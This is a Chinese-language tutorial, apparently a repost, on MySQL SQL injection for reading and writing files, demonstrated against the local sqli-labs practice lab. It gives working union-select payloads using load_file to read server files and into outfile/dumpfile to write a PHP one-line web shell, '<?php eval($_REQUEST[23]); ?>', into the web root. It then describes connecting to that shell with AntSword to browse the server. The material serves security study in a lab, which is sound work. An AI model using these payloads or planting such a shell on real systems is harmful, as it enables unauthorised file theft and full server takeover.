sql注入之文件的讀寫------上傳一句話木馬


             sql注入文件的讀寫

一、mysql讀寫文件的基本條件

1、數據庫允許讀寫文件

    mysql 新版本下secure-file-priv字段 : secure-file-priv參數是用來限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()傳到哪個指定目錄的。

secure_file_priv的值為null ,表示限制mysqld 不允許導入|導出。

secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入|導出只能發生在/tmp/目錄下。

secure_file_priv的值沒有具體值時,表示不對mysqld 的導入|導出做限制

所以要進行文件的讀寫是需要很高的權限,最好是root權限;

2、知道要讀寫位置的絕對路徑

    當我們要進行文件的讀寫時要知道絕對路徑;當我們要往數據庫里面寫木馬文件,就要知道數據庫的絕對路徑;

二、文件的讀寫語句基本格式

         查詢路徑:@@datadir

           讀取文件:load_file()

                            http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,load_file('文件路徑'),3 --+

                        例:id=-1' union select 1,load_file('C:\phpStudy\PHPTutorial\MySQL\my.ini'),2 -- -+

           寫入文件:into outfile()

                             http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,'寫入內容',3 into outfile '文件路徑'--+

                         例:?id=2 union select 1,2,"<?php eval($_REQUEST[23]); ?>" into dumpfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-2\guo.php" --+

三、演示

         這里以sqllabs靶場上的less-2做演示如何寫入一句話木馬;

            進入頁面,還是常規步驟判斷顯示位,子段數,由於這些都很簡單我們就不再進行演示;

           

 經過我們測試有三個字段,兩個顯示位;接下來我們可以通過@@datadir函數查詢數據庫的絕對路徑;

payload:union select 1,2,@@datadir --+

      這里我們查詢得到了數據庫的絕對路徑,可以直接往數據庫中寫入一句話木馬,但是由於知道這個less-7

的絕對路徑也是為了更好的查詢,所以我們直接在靶機的位置寫入一句話木馬;

       但是由於靶機默認的     secure_file_priv=null,在這個權限下我們是無法寫入文件的,所以我們要修改my.ini文件,在里面寫入secure_file_priv=" "這樣就不現在文件的讀寫;

修改后我們就可以寫入木馬文件了:

payload:?id=2 union select 1,2,"<?php eval($_REQUEST[23]); ?>" into dumpfile "D:\phpstudy_pro\WWW\sqli-labs-master\Less-2\test.php" --+

我們通過查看靶場文件位置發現木馬文件已經成功寫入;

接下來我們可以通過http://127.0.0.1/sqli-labs-master/Less-2/test.php跳轉到木馬文件位置

最后我們直接蟻劍連接后台;

我們已經可以通過木馬文件連接后台,讀取后台文件;

參考文章:http://t.csdn.cn/FYdhQ

                http://t.csdn.cn/czSG9              

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM